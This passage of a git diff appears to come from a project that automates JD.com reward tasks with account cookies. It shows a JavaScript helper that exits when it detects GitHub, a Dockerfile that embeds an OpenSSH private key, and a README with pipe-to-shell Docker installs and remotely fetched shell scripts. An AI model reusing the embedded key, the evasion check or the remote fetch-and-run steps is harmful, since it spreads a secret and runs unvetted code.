$.tokenInfo = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function get_time() { + return new Promise(resolve => { + $.get({url: `http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(data) + if (data) { + data = JSON.parse(data); + $.t = data.data.t; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function localtime() { + return new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +//随机生成m(小)到n(大)的数,包含m和n +function randomFriendPin(m,n) { + return Math.round(Math.random()*(n - m) + m); +} +isRequest ? getToken() : start(); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..b4dfea7 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,37 @@ +FROM node:lts-alpine3.12 + +LABEL AUTHOR="none" \ + VERSION=0.1.4 + +ARG KEY="-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAvRQk2oQqLB01iVnJKrnI3tTfJyEHzc2ULVor4vBrKKWOum4dbTeT\ndNWL5aS+CJso7scJT3BRq5fYVZcz5ra0MLMdQyFL1DdwurmzkhPYbwcNrJrB8abEPJ8ltS\nMoa0X9ecmSepaQFedZOZ2YeT/6AAXY+cc6xcwyuRVQ2ZJ3YIMBrRuVkF6nYwLyBLFegzhu\nJJeU5o53kfpbTCirwK0h9ZsYwbNbXYbWuJHmtl5tEBf2Hz+5eCkigXRq8EhRZlSnXfhPr2\n32VCb1A/gav2/YEaMPSibuBCzqVMVruP5D625XkxMdBdLqLBGWt7bCas7/zH2bf+q3zac4\nLcIFhkC6XwAAA9BjE3IGYxNyBgAAAAdzc2gtcnNhAAABAQC9FCTahCosHTWJWckqucje1N\n8nIQfNzZQtWivi8GsopY66bh1tN5N01YvlpL4ImyjuxwlPcFGrl9hVlzPmtrQwsx1DIUvU\nN3C6ubOSE9hvBw2smsHxpsQ8nyW1IyhrRf15yZJ6lpAV51k5nZh5P/oABdj5xzrFzDK5FV\nDZkndggwGtG5WQXqdjAvIEsV6DOG4kl5TmjneR+ltMKKvArSH1mxjBs1tdhta4kea2Xm0Q\nF/YfP7l4KSKBdGrwSFFmVKdd+E+vbfZUJvUD+Bq/b9gRow9KJu4ELOpUxWu4/kPrbleTEx\n0F0uosEZa3tsJqzv/MfZt/6rfNpzgtwgWGQLpfAAAAAwEAAQAAAQEAnMKZt22CBWcGHuUI\nytqTNmPoy2kwLim2I0+yOQm43k88oUZwMT+1ilUOEoveXgY+DpGIH4twusI+wt+EUVDC3e\nlyZlixpLV+SeFyhrbbZ1nCtYrtJutroRMVUTNf7GhvucwsHGS9+tr+96y4YDZxkBlJBfVu\nvdUJbLfGe0xamvE114QaZdbmKmtkHaMQJOUC6EFJI4JmSNLJTxNAXKIi3TUrS7HnsO3Xfv\nhDHElzSEewIC1smwLahS6zi2uwP1ih4fGpJJbU6FF/jMvHf/yByHDtdcuacuTcU798qT0q\nAaYlgMd9zrLC1OHMgSDcoz9/NQTi2AXGAdo4N+mnxPTHcQAAAIB5XCz1vYVwJ8bKqBelf1\nw7OlN0QDM4AUdHdzTB/mVrpMmAnCKV20fyA441NzQZe/52fMASUgNT1dQbIWCtDU2v1cP6\ncG8uyhJOK+AaFeDJ6NIk//d7o73HNxR+gCCGacleuZSEU6075Or2HVGHWweRYF9hbmDzZb\nCLw6NsYaP2uAAAAIEA3t1BpGHHek4rXNjl6d2pI9Pyp/PCYM43344J+f6Ndg3kX+y03Mgu\n06o33etzyNuDTslyZzcYUQqPMBuycsEb+o5CZPtNh+1klAVE3aDeHZE5N5HrJW3fkD4EZw\nmOUWnRj1RT2TsLwixB21EHVm7fh8Kys1d2ULw54LVmtv4+O3cAAACBANkw7XZaZ/xObHC9\n1PlT6vyWg9qHAmnjixDhqmXnS5Iu8TaKXhbXZFg8gvLgduGxH/sGwSEB5D6sImyY+DW/OF\nbmIVC4hwDUbCsTMsmTTTgyESwmuQ++JCh6f2Ams1vDKbi+nOVyqRvCrAHtlpaqSfv8hkjK\npBBqa/rO5yyYmeJZAAAAFHJvb3RAbmFzLmV2aW5lLnByZXNzAQIDBAUG\n-----END OPENSSH PRIVATE KEY-----" + +ENV DEFAULT_LIST_FILE=crontab_list.sh \ + CUSTOM_LIST_MERGE_TYPE=append \ + COOKIES_LIST=/scripts/logs/cookies.list \ + REPO_URL=git@gitee.com:lxk0301/jd_scripts.git \ + REPO_BRANCH=master + +RUN set -ex \ + && apk update \ + && apk upgrade \ + && apk add --no-cache bash tzdata git moreutils curl jq openssh-client \ + && rm -rf /var/cache/apk/* \ + && ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ + && echo "Asia/Shanghai" > /etc/timezone \ + && mkdir -p /root/.ssh \ + && echo -e $KEY > /root/.ssh/id_rsa \ + && chmod 600 /root/.ssh/id_rsa \ + && ssh-keyscan gitee.com > /root/.ssh/known_hosts \ + && git clone -b $REPO_BRANCH $REPO_URL /scripts \ + && cd /scripts \ + && mkdir logs \ + && npm config set registry https://registry.npm.taobao.org \ + && npm install \ + && cp /scripts/docker/docker_entrypoint.sh /usr/local/bin \ + && chmod +x /usr/local/bin/docker_entrypoint.sh + +WORKDIR /scripts + +ENTRYPOINT ["docker_entrypoint.sh"] + +CMD [ "crond" ] \ No newline at end of file diff --git a/docker/Readme.md b/docker/Readme.md new file mode 100644 index 0000000..c216307 --- /dev/null +++ b/docker/Readme.md @@ -0,0 +1,264 @@ +![Docker Pulls](https://img.shields.io/docker/pulls/lxk0301/jd_scripts?style=for-the-badge) +### Usage +```diff ++ 2021-03-21更新 增加bot交互,spnode指令,功能是否开启自动根据你的配置判断,详见 https://gitee.com/lxk0301/jd_docker/pulls/18 + **bot交互启动前置条件为 配置telegram通知,并且未使用自己代理的 TG_API_HOST** + **spnode使用前置条件未启动bot交互** _(后续可能去掉该限制_ + 使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.conf即可 + 使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.conf的cookies执行脚本,定时任务也将自动替换为spnode命令执行 + 发送/spnode给bot获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js) + spnode功能概述示例 + spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发 + spnode 1 /scripts/jd_bean_change.js 为logs/cookies.conf文件里面第一行cookie账户单独执行jd_bean_change脚本 + spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.conf文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本 + spnode /scripts/jd_bean_change.js 为logs/cookies.conf所有cookies账户一起执行jd_bean_change脚本 + +**请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。** ++ 2021-03-9更新 新版docker单容器多账号自动互助 ++开启方式:docker-compose.yml 中添加环境变量 - ENABLE_AUTO_HELP=true ++助力原则:不考虑需要被助力次数与提供助力次数 假设有3个账号,则生成: ”助力码1@助力码2@助力码3&助力码1@助力码2@助力码3&助力码1@助力码2@助力码3“ ++原理说明:1、定时调用 /scripts/docker/auto_help.sh collect 收集各个活动的助力码,整理、去重、排序、保存到 /scripts/logs/sharecodeCollection.log; + 2、(由于linux进程限制,父进程无法获取子进程环境变量)在每次脚本运行前,在当前进程先调用 /scripts/docker/auto_help.sh export 把助力码注入到环境变量 + ++ 2021-02-21更新 https://gitee.com/lxk0301/jd_scripts仓库被迫私有,老用户重新更新一下镜像:https://hub.docker.com/r/lxk0301/jd_scripts)(docker-compose.yml的REPO_URL记得修改)后续可同步更新jd_script仓库最新脚本 ++ 2021-02-10更新 docker-compose里面,填写环境变量 SHARE_CODE_FILE=/scripts/logs/sharecode.log, 多账号可实现自己互助(只限sharecode.log日志里面几个活动),注:已停用,请使用2021-03-9更新 ++ 2021-01-22更新 CUSTOM_LIST_FILE 参数支持远程定时任务列表 (⚠️务必确认列表中的任务在仓库里存在) ++ 例1:配置远程crontab_list.sh, 此处借用 shylocks 大佬的定时任务列表, 本仓库不包含列表中的任务代码, 仅作示范 ++ CUSTOM_LIST_FILE=https://raw.githubusercontent.com/shylocks/Loon/main/docker/crontab_list.sh ++ ++ 例2:配置docker挂载本地定时任务列表, 用法不变, 注意volumes挂载 ++ volumes: ++ - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh ++ environment: ++ - CUSTOM_LIST_FILE=my_crontab_list.sh + + ++ 2021-01-21更新 增加 DO_NOT_RUN_SCRIPTS 参数配置不执行的脚本 ++ 例:DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js +建议填写完整文件名,不完整的文件名可能导致其他脚本被禁用。 +例如:“jd_joy”会匹配到“jd_joy_feedPets”、“jd_joy_reward”、“jd_joy_steal” + ++ 2021-01-03更新 增加 CUSTOM_SHELL_FILE 参数配置执行自定义shell脚本 ++ 例1:配置远程shell脚本, 我自己写了一个shell脚本https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh 内容很简单下载惊喜农场并添加定时任务 ++ CUSTOM_SHELL_FILE=https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh ++ ++ 例2:配置docker挂载本地自定义shell脚本,/scripts/docker/shell_script_mod.sh 为你在docker-compose.yml里面挂载到容器里面绝对路径 ++ CUSTOM_SHELL_FILE=/scripts/docker/shell_script_mod.sh ++ ++ tip:如果使用远程自定义,请保证网络畅通或者选择合适的国内仓库,例如有部分人的容器里面就下载不到github的raw文件,那就可以把自己的自定义shell写在gitee上,或者换本地挂载 ++ 如果是 docker 挂载本地,请保证文件挂载进去了,并且配置的是绝对路径。 ++ 自定义 shell 脚本里面如果要加 crontab 任务请使用 echo 追加到 /scripts/docker/merged_list_file.sh 里面否则不生效 ++ 注⚠️ 建议无shell能力的不要轻易使用,当然你可以找别人写好适配了这个docker镜像的脚本直接远程配置 ++ 上面写了这么多如果还看不懂,不建议使用该变量功能。 +_____ +! ⚠️⚠️⚠️2020-12-11更新镜像启动方式,虽然兼容旧版的运行启动方式,但是强烈建议更新镜像和配置后使用 +! 更新后`command:`指令配置不再需要 +! 更新后可以使用自定义任务文件追加在默任务文件之后,比以前的完全覆盖多一个选择 +! - 新的自定两个环境变量为 `CUSTOM_LIST_MERGE_TYPE`:自定文件的生效方式可选值为`append`,`overwrite`默认为`append` ; `CUSTOM_LIST_FILE`: 自定义文件的名字 +! 更新镜像增减镜像更新通知,以后镜像如果更新之后,会通知用户更新 +``` +> 推荐使用`docker-compose`所以这里只介绍`docker-compose`使用方式 + + + +Docker安装 + +- 国内一键安装 `sudo curl -sSL https://get.daocloud.io/docker | sh` +- 国外一键安装 `sudo curl -sSL get.docker.com | sh` +- 北京外国语大学开源软件镜像站 `https://mirrors.bfsu.edu.cn/help/docker-ce/` + + +docker-compose 安装(群晖`nas docker`自带安装了`docker-compose`) + +``` +sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +sudo chmod +x /usr/local/bin/docker-compose +``` +`Ubuntu`用户快速安装`docker-compose` +``` +sudo apt-get update && sudo apt-get install -y python3-pip curl vim git moreutils +pip3 install --upgrade pip +pip install docker-compose +``` + +### win10用户下载安装[docker desktop](https://www.docker.com/products/docker-desktop) + +通过`docker-compose version`查看`docker-compose`版本,确认是否安装成功。 + + +### 如果需要使用 docker 多个账户独立并发执行定时任务,[参考这里](./example/docker%E5%A4%9A%E8%B4%A6%E6%88%B7%E4%BD%BF%E7%94%A8%E7%8B%AC%E7%AB%8B%E5%AE%B9%E5%99%A8%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E.md#%E4%BD%BF%E7%94%A8%E6%AD%A4%E6%96%B9%E5%BC%8F%E8%AF%B7%E5%85%88%E7%90%86%E8%A7%A3%E5%AD%A6%E4%BC%9A%E4%BD%BF%E7%94%A8docker%E5%8A%9E%E6%B3%95%E4%B8%80%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F) + +> 注⚠️:前提先理解学会使用这下面的教程 +### 创建一个目录`jd_scripts`用于存放备份配置等数据,迁移重装的时候只需要备份整个jd_scripts目录即可 +需要新建的目录文件结构参考如下: +``` +jd_scripts +├── logs +│   ├── XXXX.log +│   └── XXXX.log +├── my_crontab_list.sh +└── docker-compose.yml +``` +- `jd_scripts/logs`建一个空文件夹就行 +- `jd_scripts/docker-compose.yml` 参考内容如下(自己动手能力不行搞不定请使用默认配置): +- - [使用默认配置用这个](./example/default.yml) +- - [使用自定义任务追加到默认任务之后用这个](./example/custom-append.yml) +- - [使用自定义任务覆盖默认任务用这个](./example/custom-overwrite.yml) +- - [一次启动多容器并发用这个](./example/multi.yml) +- - [使用群晖默认配置用这个](./example/jd_scripts.syno.json) +- - [使用群晖自定义任务追加到默认任务之后用这个](./example/jd_scripts.custom-append.syno.json) +- - [使用群晖自定义任务覆盖默认任务用这个](./example/jd_scripts.custom-overwrite.syno.json) +- `jd_scripts/docker-compose.yml`里面的环境变量(`environment:`)配置[参考这里](../githubAction.md#互助码类环境变量) 和[本文末尾](../docker/Readme.md#docker专属环境变量) + + +- `jd_scripts/my_crontab_list.sh` 参考内容如下,自己根据需要调整增加删除,不熟悉用户推荐使用[默认配置](./crontab_list.sh)里面的内容: + +```shell +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecode' | xargs rm -rf + +##############短期活动############## +# 小鸽有礼2(活动时间:2021年1月28日~2021年2月28日) +34 9 * * * node /scripts/jd_xgyl.js >> /scripts/logs/jd_jd_xgyl.log 2>&1 + +#女装盲盒 活动时间:2021-2-19至2021-2-25 +5 7,23 19-25 2 * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 + +#京东极速版天天领红包 活动时间:2021-1-18至2021-3-3 +5 0,23 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +##############长期活动############## +# 签到 +3 0,18 * * * cd /scripts && node jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +# 东东超市兑换奖品 +0,30 0 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +# 摇京豆 +0 0 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# 东东农场 +5 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +# 宠汪汪 +15 */2 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +# 宠汪汪喂食 +15 */1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +# 宠汪汪偷好友积分与狗粮 +13 0-21/3 * * * node /scripts/jd_joy_steal.js >> /scripts/logs/jd_joy_steal.log 2>&1 +# 摇钱树 +0 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 东东萌宠 +5 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +# 京东种豆得豆 +0 7-22/1 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +# 京东全民开红包 +1 1 * * * node /scripts/jd_redPacket.js >> /scripts/logs/jd_redPacket.log 2>&1 +# 进店领豆 +10 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +# 京东天天加速 +8 */3 * * * node /scripts/jd_speed.js >> /scripts/logs/jd_speed.log 2>&1 +# 东东超市 +11 1-23/5 * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +# 取关京东店铺商品 +55 23 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +# 京豆变动通知 +0 10 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +# 京东抽奖机 +11 1 * * * node /scripts/jd_lotteryMachine.js >> /scripts/logs/jd_lotteryMachine.log 2>&1 +# 京东排行榜 +11 9 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# 天天提鹅 +18 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 金融养猪 +12 * * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# 点点券 +20 0,20 * * * node /scripts/jd_necklace.js >> /scripts/logs/jd_necklace.log 2>&1 +# 京喜工厂 +20 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +# 东东小窝 +16 6,23 * * * node /scripts/jd_small_home.js >> /scripts/logs/jd_small_home.log 2>&1 +# 东东工厂 +36 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# 十元街 +36 8,18 * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +# 京东快递签到 +23 1 * * * node /scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +# 京东汽车(签到满500赛点可兑换500京豆) +0 0 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +# 领京豆额外奖励(每日可获得3京豆) +33 4 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +# 微信小程序京东赚赚 +10 11 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +# 宠汪汪邀请助力 +10 9-20/2 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +# crazyJoy自动每日任务 +10 7 * * * node /scripts/jd_crazy_joy.js >> /scripts/logs/jd_crazy_joy.log 2>&1 +# 京东汽车旅程赛点兑换金豆 +0 0 * * * node /scripts/jd_car_exchange.js >> /scripts/logs/jd_car_exchange.log 2>&1 +# 导到所有互助码 +47 7 * * * node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# 口袋书店 +7 8,12,18 * * * node /scripts/jd_bookshop.js >> /scripts/logs/jd_bookshop.log 2>&1 +# 京喜农场 +0 9,12,18 * * * node /scripts/jd_jxnc.js >> /scripts/logs/jd_jxnc.log 2>&1 +# 签到领现金 +27 */4 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +# 京喜app签到 +39 7 * * * node /scripts/jx_sign.js >> /scripts/logs/jx_sign.log 2>&1 +# 京东家庭号(暂不知最佳cron) +# */20 * * * * node /scripts/jd_family.js >> /scripts/logs/jd_family.log 2>&1 +# 闪购盲盒 +27 8 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# 京东秒秒币 +10 7 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +#美丽研究院 +1 7,12,19 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京东保价 +1 0,23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#京东极速版签到+赚现金任务 +1 1,6 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +# 删除优惠券(默认注释,如需要自己开启,如有误删,已删除的券可以在回收站中还原,慎用) +#20 9 * * 6 node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +``` +> 定时任务命之后,也就是 `>>` 符号之前加上 `|ts` 可在日志每一行前面显示时间,如下图: +> ![image](https://user-images.githubusercontent.com/6993269/99031839-09e04b00-25b3-11eb-8e47-0b6515a282bb.png) +- 目录文件配置好之后在 `jd_scripts`目录执行。 + `docker-compose up -d` 启动(修改docker-compose.yml后需要使用此命令使更改生效); + `docker-compose logs` 打印日志; + `docker-compose logs -f` 打印日志,-f表示跟随日志; + `docker logs -f jd_scripts` 和上面两条相比可以显示汉字; + `docker-compose pull` 更新镜像;多容器用户推荐使用`docker pull lxk0301/jd_scripts`; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + +- 你可能会用到的命令 + + `docker exec -it jd_scripts /bin/sh -c ". /scripts/docker/auto_help.sh export > /scripts/logs/auto_help_export.log && node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(有自动助力) + + `docker exec -it jd_scripts /bin/sh -c "node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(无自动助力) + + `docker exec -it jd_scripts /bin/sh -c 'env'` 查看设置的环境变量 + + `docker exec -it jd_scripts /bin/sh -c 'crontab -l'` 